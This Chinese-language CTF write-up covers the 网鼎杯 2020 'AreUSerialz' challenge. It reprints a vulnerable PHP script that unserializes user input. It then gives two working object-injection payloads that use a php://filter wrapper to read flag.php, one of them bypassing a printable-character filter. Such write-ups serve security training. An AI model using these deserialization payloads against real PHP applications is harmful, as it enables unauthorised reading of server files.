[网鼎杯 2020 青龙组]AreUSerialz

Posted 2021-06-18 H3rmesk1t

[网鼎杯 2020 青龙组]AreUSerialz

• 考点
• 思路
• Payload

考点

php反序列化

思路

代码审计后发现，利用read()函数，file_get_contents($this->filename)，我们只需要传入我们需要的/flag就可以读取flag了；
需要注意绕过 is_vaild 函数,它规定了序列化内容中只能包含ascii可见字符,如果出现其他的字符则会返回false

Payload

审计源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

POP链_1

<?php
class FileHandler{
    public $op = 2;
    public $filename = 'php://filter/convert.base64-encode/resource=flag.php';
    public $content;
}

$a = new FileHandler();
echo urlencode(serialize($a));
?>
=>
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

POP链_2

<?php
class FileHandler{
    protected $op = 2;
    protected $filename = 'php://filter/convert.base64-encode/resource=flag.php';
    protected $content;
}

$a = new FileHandler();
$a = serialize($a);
$a = str_replace(chr(0), '\\00', $a);
$a = str_replace('s:', 'S:', $a);
echo urlencode($a);
?>
=>
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22%5C00%2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%2A%5C00filename%22%3BS%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22%5C00%2A%5C00content%22%3BN%3B%7D